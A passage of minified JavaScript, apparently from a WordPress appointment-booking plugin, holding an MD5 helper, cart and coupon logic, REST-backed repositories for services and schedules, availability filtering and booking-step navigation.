b=h,v=c,S=p,_=d;h=u(h,c,p,d,o[m+0],7,-680876936),d=u(d,h,c,p,o[m+1],12,-389564586),p=u(p,d,h,c,o[m+2],17,606105819),c=u(c,p,d,h,o[m+3],22,-1044525330),h=u(h,c,p,d,o[m+4],7,-176418897),d=u(d,h,c,p,o[m+5],12,1200080426),p=u(p,d,h,c,o[m+6],17,-1473231341),c=u(c,p,d,h,o[m+7],22,-45705983),h=u(h,c,p,d,o[m+8],7,1770035416),d=u(d,h,c,p,o[m+9],12,-1958414417),p=u(p,d,h,c,o[m+10],17,-42063),c=u(c,p,d,h,o[m+11],22,-1990404162),h=u(h,c,p,d,o[m+12],7,1804603682),d=u(d,h,c,p,o[m+13],12,-40341101),p=u(p,d,h,c,o[m+14],17,-1502002290),h=g(h,c=u(c,p,d,h,o[m+15],22,1236535329),p,d,o[m+1],5,-165796510),d=g(d,h,c,p,o[m+6],9,-1069501632),p=g(p,d,h,c,o[m+11],14,643717713),c=g(c,p,d,h,o[m+0],20,-373897302),h=g(h,c,p,d,o[m+5],5,-701558691),d=g(d,h,c,p,o[m+10],9,38016083),p=g(p,d,h,c,o[m+15],14,-660478335),c=g(c,p,d,h,o[m+4],20,-405537848),h=g(h,c,p,d,o[m+9],5,568446438),d=g(d,h,c,p,o[m+14],9,-1019803690),p=g(p,d,h,c,o[m+3],14,-187363961),c=g(c,p,d,h,o[m+8],20,1163531501),h=g(h,c,p,d,o[m+13],5,-1444681467),d=g(d,h,c,p,o[m+2],9,-51403784),p=g(p,d,h,c,o[m+7],14,1735328473),h=y(h,c=g(c,p,d,h,o[m+12],20,-1926607734),p,d,o[m+5],4,-378558),d=y(d,h,c,p,o[m+8],11,-2022574463),p=y(p,d,h,c,o[m+11],16,1839030562),c=y(c,p,d,h,o[m+14],23,-35309556),h=y(h,c,p,d,o[m+1],4,-1530992060),d=y(d,h,c,p,o[m+4],11,1272893353),p=y(p,d,h,c,o[m+7],16,-155497632),c=y(c,p,d,h,o[m+10],23,-1094730640),h=y(h,c,p,d,o[m+13],4,681279174),d=y(d,h,c,p,o[m+0],11,-358537222),p=y(p,d,h,c,o[m+3],16,-722521979),c=y(c,p,d,h,o[m+6],23,76029189),h=y(h,c,p,d,o[m+9],4,-640364487),d=y(d,h,c,p,o[m+12],11,-421815835),p=y(p,d,h,c,o[m+15],16,530742520),h=f(h,c=y(c,p,d,h,o[m+2],23,-995338651),p,d,o[m+0],6,-198630844),d=f(d,h,c,p,o[m+7],10,1126891415),p=f(p,d,h,c,o[m+14],15,-1416354905),c=f(c,p,d,h,o[m+5],21,-57434055),h=f(h,c,p,d,o[m+12],6,1700485571),d=f(d,h,c,p,o[m+3],10,-1894986606),p=f(p,d,h,c,o[m+10],15,-1051523),c=f(c,p,d,h,o[m+1],21,-2054922799),h=f(h,c,p,d,o[m+8],6,1873313359),d=f(d,h,c,p,o[m+15],10,-30611744),p=f(p,d,h,c,o[m+6],15,-1560198380),c=f(c,p,d,h,o[m+13],21,1309151649),h=f(h,c,p,d,o[m+4],6,-145523070),d=f(d,h,c,p,o[m+11],10,-1120210379),p=f(p,d,h,c,o[m+2],15,718787259),c=f(c,p,d,h,o[m+9],21,-343485551),h=h+b>>>0,c=c+v>>>0,p=p+S>>>0,d=d+_>>>0}return e.endian([h,c,p,d])};a._ff=function(e,t,s,i,a,r,n){var o=e+(t&s|~t&i)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._gg=function(e,t,s,i,a,r,n){var o=e+(t&i|s&~i)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._hh=function(e,t,s,i,a,r,n){var o=e+(t^s^i)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._ii=function(e,t,s,i,a,r,n){var o=e+(s^(t|~i))+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,C.exports=function(t,s){if(null==t)throw new Error("Illegal argument "+t);var r=e.wordsToBytes(a(t,s));return s&&s.asBytes?r:s&&s.asString?i.bytesToString(r):e.bytesToHex(r)}}();var E=S(C.exports);class A{setupProperties(){this.itemId="",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e="all"){return"ids"===e?this.getIds():"availability"===e?this.getAvailableIds():"period"===e?{date:null!==this.date?f(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):""}:jQuery.extend(this.getIds(),{date:null!==this.date?f(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):"",capacity:this.capacity})}isSet(e="all"){let t=!0;return"all"!==e&&"ids"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),"all"!==e&&"period"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&f(this.date,"internal")==f(e,"internal")&&this.time.toString("internal")==t.toString("internal")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(n(t.minCapacity,t.maxCapacity));return i(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case"disabled":default:t=e;break;case"fixed":t=this.service.depositAmount;break;case"percentage":t=e*this.service.depositAmount/100}return t>e?e:t}getHash(e="all"){return E(JSON.stringify(this.toArray(e)))}didChange(e,t="all"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){"number"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){"number"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e<=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let M=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let s=!this.includesKey(e);return this.values[e]=t,s&&(this.keys.push(e),this.length++),s}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let s=this.findNextKey(e);return""!==s?this.values[s]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let s=t+1;return s<this.length?this.keys[s]:this.keys[t]}findPrevious(e,t=null){let s=this.findPreviousKey(e);return""!==s?this.values[s]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let s=t-1;return s>=0?this.keys[s]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let s=this.keys.indexOf(e);return this.keys.splice(s,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let s of this.keys){let i=this.values[s][e];null!=i&&(Array.isArray(i)?t=t.concat(i):t.push(i))}return i(t)}forEach(e){let t=0;for(let s of this.keys){let i=e(this.values[s],t,s,this);if(t++,!1===i)break}}map(e){let t=[],s=0;for(let i of this.keys)t.push(e(this.values[i],s,i,this)),s++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}},x={};function F(e,t=!1){return"object"==typeof e?0==function(e,t=!1){return"object"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function B(e="",t=!1){let s=function(e,t){return t<(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join("0")+e:e};x.uniqid_seed||(x.uniqid_seed=Math.floor(123456789*Math.random())),x.uniqid_seed++;let i=e;return i+=s(parseInt((new Date).getTime()/1e3,10),8),i+=s(x.uniqid_seed,5),t&&(i+=(10*Math.random()).toFixed(8).toString()),i}class L{setupProperties(){var e;this.items=new M,this.activeItem=null,this.customerDetails={name:"",email:"",phone:""},this.paymentDetails={booking_id:0,gateway_id:"none"},this.coupon=null,this.bookingNonce=null!==(e=mpaData?.nonces?.mpa_create_booking)&&void 0!==e?e:""}constructor(){this.setupProperties()}createItem(e=""){e||(e=B());let t=new A(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():""}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem="string"==typeof e?this.getItem(e):e}removeItem(e){"string"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let s of e)t+=s.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let s=t.getPrice();this.hasCoupon()&&(s-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(s)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e="all"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),m().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),"items"===e?t.items:t}getHash(e="all"){return E("order"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t="all"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||v()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=i(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class R{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class O extends R{setupProperties(){super.setupProperties(),this.name=""}}class N extends R{setupProperties(){super.setupProperties(),this.name=""}}class V extends R{setupProperties(){super.setupProperties(),this.name="",this.price=0,this.depositType="disabled",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking="",this.maxAdvanceTimeBeforeReservation="",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel="",this.variations={},this.image="",this.thumbnail=""}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let s=this.getVariation("price",e,this.price);return this.multiplyPrice&&(s*=t),s}getDuration(e=0){return this.getVariation("duration",e,this.duration)}getMinCapacity(e=0){return this.getVariation("min_capacity",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation("max_capacity",e,this.maxCapacity)}getVariation(e,t,s){return t in this.variations?this.variations[t][e]:s}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return""!==this.customQuantityLabel?this.getCustomQuantityLabel():u("Clients","motopress-appointment")}}class q{static loadInBackground(e,t,s=!1){return t.findById(e.id,s).then((t=>{if(null!==t)for(let s in t)e[s]=t[s];return t}))}}class U extends R{setupProperties(){super.setupProperties(),this.status="new",this.code="",this.description="",this.type="fixed",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of["expirationDate","minDate","maxDate"]){let s=e[t];null!=s&&""!==s&&(this[t]=b(s)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date<this.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let s=e.getPrice();switch(this.type){case"fixed":t=this.amount;break;case"percentage":t=s*this.amount/100}t=Math.min(t,s)}return t}}function H(e){return!!e}function j(e){let t=parseInt(e);return isNaN(t)?e<<0:t}class W{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf("mpa_")?t.substring(4):0===t.indexOf("_mpa_")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let s=this.mapRestDataToEntity(t);return this.saveEntity(e,s),s}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let s=[],i=[];for(let a of e)this.haveEntity(a)&&!t?i.push(this.getEntity(a)):s.push(a);return 0===s.length?Promise.resolve(i):this.requestEntities(s).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),i.push(e)}return i}),(e=>[]))}requestEntity(e){return h(this.getRoute(),{id:e})}requestEntities(e){return h(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`/${this.entityType}s`}}class G extends W{findByCode(e,t=!1){return h(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new U(e.id,e)}}function z(e,t="public"){return f(e,"internal"==t?"H:i":"public"==t?m().settings().getTimeFormat():t)}function Q(e){let t=e.split(":"),s=parseInt(t[0]),i=parseInt(t[1]),a=v();return a.setHours(s,i),a}class Y{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(" - ");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime="string"==typeof e?Q(e):new Date(e)}setEndTime(e){this.endTime="string"==typeof e?Q(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime<e.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime<=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime<e.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new Y(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new Y(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()<=0}toString(e="public",t=" - "){"internal"==e&&(t=" - ");let s="short"==e?"public":e,i=z(this.startTime,s),a=z(this.endTime,s);return"internal"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&i===a?u("All day","motopress-appointment"):"short"==e&&i==a?i:i+t+a}}class K extends R{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)"date"==t?this.setDate(e[t]):"serviceTime"==t?this.setServiceTime(e[t]):"bufferTime"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date="string"==typeof e?b(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime="string"==typeof e?new Y(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime="string"==typeof e?new Y(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class Z extends W{mapRestDataToEntity(e){return new K(e.id,e)}}class J{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(" - ");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return"string"==typeof e?b(e)||v():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e/1e3/3600/24)}inPeriod(e){return"string"==typeof e&&(e=b(e)),null!=e&&e>=this.startDate&&e<=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t<=this.endDate;t.setDate(t.getDate()+1)){let s=f(t,"internal"),i=new Date(t);e[s]=i}return e}toString(){return f(this.startDate,"internal")+" - "+f(this.endDate,"internal")}}class X extends R{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)"timetable"==t?this.setTimetable(e[t]):"customWorkdays"==t?this.setCustomWorkdays(e[t]):"daysOff"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],s=[];e.forEach((e=>{let i=new Y(e.time_period);t.push({time_period:i,location:e.location,activity:e.activity}),"work"==e.activity&&s.push({time_period:i,location:e.location})})),this.timetable.push(t),this.workTimetable.push(s)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new J(t.date_period),time_period:new Y(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new J(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return"string"!=typeof e&&(e=f(e,"internal")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if("string"==typeof e&&(e=b(e)),null==e)return[];let s=[],i=e.getDay();for(let e of this.workTimetable[i])0!=t&&e.location!=t||s.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&s.push(t.time_period);return s}}class ee extends W{mapRestDataToEntity(e){return new X(e.id,e)}}class te extends W{mapRestDataToEntity(e){return new V(e.id,e)}}class se{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new ee("mpa_schedule")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new te("mpa_service")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new Z("mpa_reservation")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new G("mpa_coupon")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==se.instance&&(se.instance=new se),se.instance}}function ie(){return se.getInstance()}let ae=null;function re(e,t){const s=[];for(const i of e){const e=t.includes(i.slug),a=Array.isArray(i.children)?i.children:[],r=a.length?re(a,t):[];(e||r.length>0)&&s.push({...i,children:r})}return s}function ne(e){let t=[];for(const s of e)s.slug&&t.push(s.slug),Array.isArray(s.children)&&(t=t.concat(ne(s.children)));return t}function oe(e,t=[],s=null,i=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var s,i;return(null!==(s=r.get(e.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)-(null!==(i=r.get(t.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(s)&&!s.includes(e.slug)||(a.push({id:e.slug,name:"&nbsp;&nbsp;".repeat(i)+e.name}),Array.isArray(e.children)&&a.push(...oe(e.children,t,s,i+1)));return a}function le(e){return H(e)}class he{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==ae)&&(ae=h("/services/available").catch((e=>(console.error("Unable to extract available services."),{})))),ae}(e).then((e=>{const{services:t,services_order:s,categories_order:i,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(s||[]),this.setCategoryIndexes(i||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let s=e[t];this.services[t]=s.name;for(let e in s.categories){let t=s.categories[e];this.serviceCategories[e]=t}for(let e in s.employees){let t=s.employees[e];this.employees[e]=t.name;for(let e in t.locations){let s=t.locations[e];this.locations[e]=s}}}}isEmpty(){return F(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,s=null){let i=new V(e);return this.services.hasOwnProperty(e)&&i.setName(this.services[e]),!0===t?(this.servicePromise=q.loadInBackground(i,ie().service()),null!==s&&this.servicePromise.then(s),this.servicePromise.then((()=>i))):this.servicePromise=null,i}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new O(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new N(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e="",t=0,s=0){let i={};for(let a in this.availability){let r=this.availability[a];if(""===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((s=>{r.employees[s].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===s||s in r.employees)&&(i[a]=r.name)}}return i}getAvailableServiceCategories(){let e={};for(let t in this.availability){let s=this.availability[t];jQuery.extend(e,s.categories)}return e}getAvailableEmployees(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){let i=a.employees[e];(0===t||t in i.locations)&&(s[e]=i.name)}}return s}getAvailableLocations(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){if(0!=t&&e!=t)continue;let i=a.employees[e];jQuery.extend(s,i.locations)}}return s}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,s="ids"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(le):0!==t&&i.push(t);let r=[];for(let t in this.availability[e].employees){t=j(t);let s=this.availability[e].employees[t];if(0===i.length)r.push(t);else{a(i,Object.keys(s.locations).map(j)).length>0&&r.push(t)}}return 0===r.length?[]:"entities"===s?r.map((e=>this.getEmployee(e))):r}filterAvailableLocations(e,t=0,s="ids"){if(!(e in this.availability))return[];let a=[];Array.isArray(t)?a=t.filter(le):0!==t&&a.push(t);let r=[];for(t in this.availability[e].employees){if(t=j(t),a.length>0&&-1===a.indexOf(t))continue;let s=this.availability[e].employees[t];for(let e in s.locations)r.push(j(e))}return r=i(r),0===r.length?[]:"entities"===s?r.map((e=>this.getLocation(e))):r}}class ce{constructor(e){this.cart=e,this.steps=new M,this.currentStep=null,this.currentStepId=""}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(".mpa-booking-step").on("mpa_booking_step_next",((e,t)=>this.onStep("next",t))).on("mpa_booking_step_back",((e,t)=>this.onStep("back",t))).on("mpa_booking_step_new",((e,t)=>this.onStep("new",t))).on("mpa_reset_booking",((e,t)=>this.onStep("reset",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case"next":this.goToNextStep();break;case"back":this.goToPreviousStep();break;case"new":this.goToFirstStep();break;case"reset":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):"";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{"cart item"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let 